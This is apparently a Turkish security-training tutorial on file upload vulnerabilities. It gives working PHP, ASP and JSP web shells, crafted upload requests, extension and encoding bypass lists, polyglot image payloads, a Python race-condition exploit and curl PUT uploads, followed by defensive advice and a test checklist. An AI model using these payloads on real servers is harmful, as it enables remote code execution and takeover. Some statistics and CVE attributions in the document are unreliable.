File Upload Vulnerabilities Nedir?
File Upload Vulnerabilities, web uygulamalarının kullanıcıların dosya yüklemesine izin verdiği noktalarda yetersiz doğrulama yapması sonucu ortaya çıkan güvenlik açıklarıdır. Bu açıklar, saldırganların kötü amaçlı dosyalar yüklemesine ve sunucuda kod çalıştırmasına olanak tanır.
Risk Seviyesi: CRITICAL
File upload açıkları, saldırganın sunucuda tam kontrol sahibi olmasına yol açabilir. Bu nedenle en yüksek risk seviyesinde değerlendirilir.
Yaygın Görüldüğü Yerler:
- • Profil fotoğrafı yükleme
- • Döküman yükleme sistemleri
- • Avatar/resim upload
- • File sharing platformları
- • CMS içerik yönetimi
OWASP Top 10'da "Injection" kategorisi altında yer alan bu açık türü, web uygulamalarının %60'ından fazlasında tespit edilmektedir.
Web Shell Saldırıları
EXPERT
Web Shell, saldırganın uzak sunucuda HTTP istekleri aracılığıyla komut çalıştırmasına olanak tanıyan kötü amaçlı scriptlerdir. Bu, file upload açığının en tehlikeli sonucudur.
Amaç: Bu bilgiler sadece eğitim ve güvenlik testleri içindir. Yetkisiz sistemlerde kullanımı yasa dışıdır.
Basit PHP Web Shell:
<?php
echo file_get_contents('/path/to/target/file');
?>
Daha gelişmiş web shell:
<?php
echo system($_GET['command']);
?>
Kullanım örneği:
GET /uploads/shell.php?command=id
vulnerable-site.com
uid=33(www-data) gid=33(www-data) groups=33(www-data)
💡 Tespit İpucu: Web shell yükledikten sonra, sunucudaki diğer dosyalara erişim sağlayabilir, veritabanı bilgilerini okuyabilir veya sistemi pivot point olarak kullanabilirsiniz.
PHP: <?php system($_GET['c']); ?>
ASP: <%eval request("c")%>
JSP: <%Runtime.getRuntime().exec(request.getParameter("c"));%>
Content-Type Bypass
APPRENTICE
Birçok web uygulaması, yüklenen dosyanın türünü kontrol etmek için sadece Content-Type header'ına güvenir. Bu header kolayca manipüle edilebilir.
Normal bir resim upload request'i:
POST /upload
target.com
multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
form-data; name="file"; filename="image.jpg"
image/jpeg
[...binary image data...]
------WebKitFormBoundary--
Bypass edilmiş request (PHP shell):
POST /upload
target.com
multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
form-data; name="file"; filename="shell.php"
image/jpeg
<?php echo system($_GET['cmd']); ?>
------WebKitFormBoundary--
Kritik Nokta: Content-Type header'ı image/jpeg olarak gönderildiği halde, dosyanın gerçek içeriği PHP kodu. Sunucu sadece header'a bakıyorsa bypass edilir.
1. Normal dosyayı upload edin
2. Burp Proxy'de request'i yakalayın
3. Content-Type'ı değiştirerek Repeater'a gönderin
4. Dosya içeriğini shell code ile değiştirin
Path Traversal ile Upload
PRACTITIONER
Dosya adı doğrulaması yetersizse, directory traversal teknikleri kullanarak dosyayı farklı dizinlere yükleyebilirsiniz. Bu, executable klasörlere erişim sağlayabilir.
POST /upload
multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
form-data; name="file"; filename="../../../var/www/html/shell.php"
application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
Hedef Dizinler:
- Linux: /var/www/html/, /var/www/, /usr/share/nginx/html/
- Windows: C:\inetpub\wwwroot\, C:\xampp\htdocs\
- Apache: /var/www/html/, /opt/lampp/htdocs/
- Nginx: /usr/share/nginx/html/, /var/www/html/
💡 Pro İpucu: Bazen upload dizini executable değildir, ancak path traversal ile web root'a çıkabilirsiniz. ../ yerine ..\/ veya %2e%2e%2f encoding'i deneyin.
../shell.php - Bir üst dizin
..\/shell.php - Windows style
%2e%2e%2fshell.php - URL encoded
....//shell.php - Double encoding bypass
Blacklist Bypass Teknikleri
PRACTITIONER
Uygulamalar genellikle .php, .jsp gibi tehlikeli uzantıları engellerler. Ancak alternatif uzantılar veya bypass teknikleri kullanılabilir.
PHP Alternatif Uzantıları:
- • .php3, .php4, .php5, .php7
- • .phtml, .pht
- • .phps, .php-s
- • .phar
- • .inc (include files)
.htaccess ile Server Configuration Override:
application/x-httpd-php .txt
php-script .txt
Bu .htaccess dosyasını yükledikten sonra, .txt uzantılı dosyalar PHP olarak çalıştırılacaktır:
<?php
echo system($_GET['cmd']);
?>
IIS web.config Bypass:
<staticContent><mimeMap fileExtension=".txt" mimeType="application/x-httpd-php" /></staticContent>
Apache: .php, .php3, .phtml
IIS: .asp, .aspx, .ashx
Tomcat: .jsp, .jspx
Node.js: .js, .json
Dosya Uzantısı Obfuscation
PRACTITIONER
Blacklist filtreleri çeşitli obfuscation teknikleri ile bypass edilebilir. Bu teknikler, parsing farklılıklarından yararlanır.
Case Sensitivity Bypass:
- • shell.PHP (büyük harf)
- • shell.PhP (karışık)
- • shell.pHp (alternatif karışık)
shell.php.jpg
shell.php.png
shell.php.gif
shell.php
shell.php.
shell.php%20
shell.php%00.jpg
shell.php;.jpg
💡 Unicode Bypass: Bazı unicode karakterler null byte'a dönüşebilir:
shell.php%C0%AE.jpg veya shell.php%C4%AE.jpg
Recursive Strip Bypass:
Eğer sistem .php'yi strip ediyorsa: shell.pphphp
Strip işleminden sonra: shell.php
URL Encoding: shell%2Ephp
Double Encoding: shell%252Ephp
Unicode: shell%u002Ephp
Polyglot Dosyalar ile Bypass
PRACTITIONER
Polyglot dosyalar, hem geçerli bir resim hem de çalıştırılabilir kod içeren dosyalardır. Bu teknik, içerik tabanlı doğrulamaları bypass etmek için kullanılır.
JPEG Polyglot Örneği:
exiftool -Comment="<?php echo system(\$_GET['cmd']); ?>" image.jpg
FF D8 FF E0
<?php system($_GET['cmd']); ?>
Dosya Magic Bytes:
- JPEG: FF D8 FF
- PNG: 89 50 4E 47
- GIF: 47 49 46 38
- PDF: 25 50 44 46
PNG Polyglot ile PHP Shell:
‰PNG<?php system($_GET['cmd']); ?>
89 50 4E 47 3C 3F 70 68 70 20 73 79 73...
💡 GIF Polyglot: GIF formatı daha esnek olduğu için polyglot oluşturmak daha kolaydır:
GIF89a<?php system($_GET['cmd']); ?>
ExifTool: Metadata'ya kod enjekte etme
Hex Editor: Manuel binary düzenleme
ImageMagick: Resim manipülasyonu
Custom Scripts: Otomatik polyglot üretimi
Race Condition Saldırıları
EXPERT
Bazı uygulamalar dosyayı önce yükler, sonra doğrulama yapar ve geçersizse siler. Bu kısa sürede dosyayı çalıştırmak mümkündür.
Race Condition Süreci:
1. Dosya geçici dizine yüklenir
2. Doğrulama başlar (birkaç milisaniye)
3. Bu sürede dosya erişilebilir
4. Doğrulama fail olursa dosya silinir
Python ile Race Condition Exploit:
import threading
import requests
import time
def upload_file():
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
requests.post('http://target.com/upload', files=files)
def access_file():
while True:
r = requests.get('http://target.com/uploads/shell.php?cmd=id')
if 'uid=' in r.text:
print('Success!', r.text)
break
time.sleep(0.01)
threading.Thread(target=upload_file).start()
threading.Thread(target=access_file).start()
Timing Optimization: Büyük dosyalar yükleme süresini uzatır. Payload'u dosyanın başına, sonuna padding bytes ekleyerek zaman kazanabilirsiniz.
• Çoklu thread kullanın (100+ paralel request)
• Upload süresini uzatmak için büyük dosyalar kullanın
• Geçici dosya adlarını brute force etmeyi deneyin
• Network latency'sini hesaba katın
HTTP PUT Method ile Upload
APPRENTICE
Bazı web sunucuları HTTP PUT metodunu destekler. Bu method, form upload olmaksızın doğrudan dosya yüklemeye olanak tanır.
PUT /uploads/shell.php
vulnerable-website.com
application/x-httpd-php
49
<?php echo system($_GET['cmd']); ?>
💡 PUT Method Testi: OPTIONS method ile hangi HTTP metodlarının desteklendiğini kontrol edebilirsiniz:
OPTIONS /upload HTTP/1.1
OPTIONS Request ile Method Discovery:
OPTIONS /uploads/
target.com
GET, POST, PUT, DELETE, OPTIONS
PUT Method Avantajları:
- • Form validation bypass
- • Content-Type kontrolü yok
- • Dosya adı kontrolü minimal
- • Direct binary upload
curl -X PUT http://target.com/shell.php -d "<?php system(\$_GET['cmd']); ?>"
curl -T shell.php http://target.com/uploads/
Korunma Yöntemleri ve Best Practices
File upload güvenlik açıklarından korunmak için çok katmanlı bir güvenlik yaklaşımı benimsenmelidir.
Temel Güvenlik Önlemleri:
- • Whitelist kullanın (blacklist değil)
- • Dosya içeriğini doğrulayın (magic bytes)
- • Dosya boyutu sınırlaması
- • Upload dizinini executable yapmayın
- • Dosya adlarını randomize edin
Güvenli Upload Implementation:
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$max_size = 2 * 1024 * 1024;
if (!in_array($_FILES['file']['type'], $allowed_types)) {
die('Invalid file type');
}
if ($_FILES['file']['size'] > $max_size) {
die('File too large');
}
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$file_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
💡 Sandbox Approach: Upload edilen dosyaları ayrı bir subdomain'de (uploads.example.com) veya CDN'de tutun. Bu, XSS ve RCE risklerini minimize eder.
Server Configuration:
• Upload dizininde PHP execution'ı devre dışı bırakın
• .htaccess ve web.config dosyalarını engelleyin
• Directory listing'i kapatın
• WAF (Web Application Firewall) kullanın
Katman 1: Client-side validation
Katman 2: Server-side file type check
Katman 3: Content validation (magic bytes)
Katman 4: Antivirus scanning
Katman 5: Sandboxing
Test Metodolojisi ve Checklist
File upload vulnerability testleri için sistematik bir yaklaşım izlenmeli ve tüm potansiyel bypass teknikleri denenmelidir.
Test Adımları:
- 1. Reconnaissance: Upload fonksiyonunu keşfet
- 2. Baseline Test: Normal dosya yükle
- 3. File Type Bypass: Farklı uzantıları dene
- 4. Content-Type Bypass: MIME type manipüle et
- 5. Content Validation: Polyglot dosyalar test et
- 6. Path Traversal: Directory traversal dene
- 7. Race Condition: Timing saldırısı yap
- Normal dosya yükleme çalışıyor mu?
- Hangi dosya tipleri kabul ediliyor?
- Dosya boyutu limiti var mı?
- .php, .jsp, .asp uzantıları engelleniyor mu?
- Alternatif uzantılar (.php5, .phtml) test edildi mi?
- Case sensitivity bypass denendir mi?
- Double extension (shell.php.jpg) test edildi mi?
- MIME type doğrulaması var mı?
- Content-Type header manipüle edilebilir mi?
- Multipart form-data bypass mümkün mü?
- Dosya içeriği doğrulanıyor mu?
- Polyglot dosyalar çalışıyor mu?
- Image header + shell code kombinasyonu?
💡 Automated Testing: Burp Suite'in "Upload Scanner" extension'ı veya custom script'ler ile otomatik test yapılabilir. Manuel testleri tamamladıktan sonra automation kullanın.
Test Araçları ve Payloadları
File upload vulnerability testleri için kullanılabilecek araçlar ve hazır payloadlar:
Test Araçları:
- • Burp Suite: Manual testing, Repeater, Intruder
- • OWASP ZAP: Otomatik vulnerability scanning
- • fuxploider: File upload fuzzer
- • Upload Scanner: Burp extension
- • ExifTool: Polyglot dosya oluşturma
PHP: <?php system($_GET['c']); ?>
ASP: <%eval request("c")%>
JSP: <%Runtime.getRuntime().exec(request.getParameter("c"));%>
Python: import os; os.system(request.args.get('c'))
Burp Suite Intruder Payloadları:
php
php3
php4
php5
php7
phtml
pht
phps
inc
PHP
PhP
pHp
Php
php.jpg
php.png
php.gif
php.pdf
Etik Kullanım: Bu araç ve payloadlar sadece yetkiniz olan sistemlerde ve eğitim amaçlı kullanılmalıdır. Yetkisiz erişim suçtur.
Gerçek Dünya Örnekleri ve Case Studies
File upload vulnerability'leri gerçek dünya uygulamalarında nasıl exploit edildiğine dair örnekler:
Case Study 1: WordPress Plugin Vulnerability
Birçok WordPress plugin'i dosya upload işlemi sırasında yeterli doğrulama yapmaz. .php uzantısını engelleseler bile, .php5 veya .phtml uzantılarını gözden kaçırabilirler.
CVE-2019-8978: WordPress File Manager plugin RCE
CVE-2020-24148: Drupal core file upload bypass
CVE-2021-24406: WP User Frontend arbitrary file upload
Bu CVE'lar file upload açığının yaygınlığını gösterir.
Yaygın Senaryolar:
- • CMS admin panelleri
- • File sharing platformları
- • E-commerce ürün resimleri
- • Social media profil fotoğrafları
- • Document management sistemleri
💡 Bug Bounty İpucu: File upload fonksiyonları bug bounty programlarında yüksek ödül alan açık türlerinden biridir. Özellikle admin panelleri ve user-generated content alanları odaklanın.